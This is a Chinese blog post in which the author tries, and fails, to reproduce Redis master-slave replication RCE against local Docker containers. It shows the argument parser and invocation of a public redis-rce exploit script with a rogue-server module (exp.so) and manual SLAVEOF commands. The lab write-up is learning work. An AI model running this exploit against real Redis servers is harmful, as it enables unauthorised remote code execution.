Redis 基于主从复制的 RCE 利用方式

失败了不看也罢:

首先安装了一个Ubuntu的虚拟机,然后在虚拟机里安装了Docker
安装虚拟机的方法就不多说了,安装Docker的方法见其官网https://docs.docker.com/install/linux/docker-ce/ubuntu/,英语不太好的同学可以使用翻译插件或用QQ浏览器自带的翻译插件(如果其他浏览器也行,请留言补充,google也行,但需要你...)
Docker安装好了,就去安装两台Redis5.0的数据库
sudo docker search redis5.0 搜索redis


sudo docker pull damonevking/redis5.0 拉取第三个基础镜像

sudo docker run -p 6379:6379 -d damonevking/redis5.0 redis-server映射端口并运行容器

-p, --publish ip:[hostPort]:containerPort | [hostPort:]containerPort
          Publish a container's port, or range of ports, to the host.
          将容器的端口或端口范围发布到主机。
这是-p参数的用法,
-d应该就是指定镜像了,不过我没找到😂


访问:你的ip:6379,如下图则搭建成功

然后再搭建一个,把主机端口16379映射到docker的6379上去
sudo docker run -p 16379:6379 -d damonevking/redis5.0 redis-server


看一下最简单的直接利用别人脚本的方式,这个我失败了

git clone https://github.com/Ridter/redis-rce.git去github上下载一个利用脚本
https://github.com/n0b0dyCN/redis-rogue-server下载一个so文件,然后放到redis-rce目录下


但是好尴尬,这个脚本不支持改端口啊

    241parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
    242     parser.add_argument("-p", "--rport", dest="rport", type=int,
    243                         help="target redis port, default 6379", default=6379)
    244     parser.add_argument("-L", "--lhost", dest="lhost", type=str,
    245                         help="rogue server ip", required=True)
    246     parser.add_argument("-P", "--lport", dest="lport", type=int,
    247                         help="rogue server listen port, default 21000", default=21000)
    248     parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp_lin.so')
    249     parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
    250     parser.add_argument("-v", "--verbose", action="store_true", help="show more info", default=False)
    251     options = parser.parse_args()

看了一下源码,好吧可以指定端口,原来是我的姿势不对
我关机重启了,不记得镜像名称了啊,->查看你有哪些镜像的命令为sudo docker images
好像不需要开两个镜像,用代码的话,一个目标redis就好了
python3 redis-rce.py -r 172.17.0.2 -L 127.0.0.1 -f exp.so自己改ip地址


但我不成功啊

再换个别人的脚本,然后还是不行啊,这都是最后一步了啊,为啥不行啊

用tcpdump可以看到,确实把exp.so写进去了啊
难受


开始手动的方法吧

这次需要两台redis了,按照前面的方法,开两台redis吧。


杀死docker进程的命令为sudo docker kill xxxxxxxxx为sudo docker ps命令列出来进程序号,只需要输入前几位就行
好了,先下载一个redis的客户端
sudo apt install redis-tools
然后连接上16379那台,作为从机

sanqiushu@sanqiushu-VirtualBox:~/redis-rogue-server-master$ redis-cli -p 16379
127.0.0.1:16379> SLAVEOF 127.0.0.1 6379
OK

出现了,不行怪,别人可以我不行,主redis set一个值,从redis get不到,难受
经过一番折腾,发现了,SLAVEOF这个ip有问题,要写docker容器的ip
如何查看docker容器的ip见https://blog.csdn.net/sannerlittle/article/details/77063800

127.0.0.1:16379> SLAVEOF 172.17.0.2 6379
OK
127.0.0.1:16379> get hi
"hi"
127.0.0.1:16379> 

终于好了,也许上面那个用别人代码不行也是这个原因吧
如果我们想解除主从关系可以执行SLAVEOF NO ONE
又试了一下别人代码


这是抓包看到的,这都是啥啊,崩溃啦,还是不行啊
继续手动吧
或许是我的redis没有这几个命令吧,
那进入docker容器,看看能不能安装个命令吧
以下为搜集到的资料,但没有实践


感谢以下前辈:
如何进入Docker容器 https://blog.csdn.net/u010397369/article/details/41045251
Redis Modules: an introduction to the API https://redis.io/topics/modules-intro
Redis基于主从复制的RCE 4.x/5.x 复现https://www.cnblogs.com/paperpen/p/11178751.html
浅析Redis中SSRF的利用 https://xz.aliyun.com/t/5665

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,293评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,604评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,958评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,729评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,719评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,630评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,000评论 3 397
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,665评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,909评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,646评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,726评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,400评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,986评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,959评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,996评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,481评论 2 342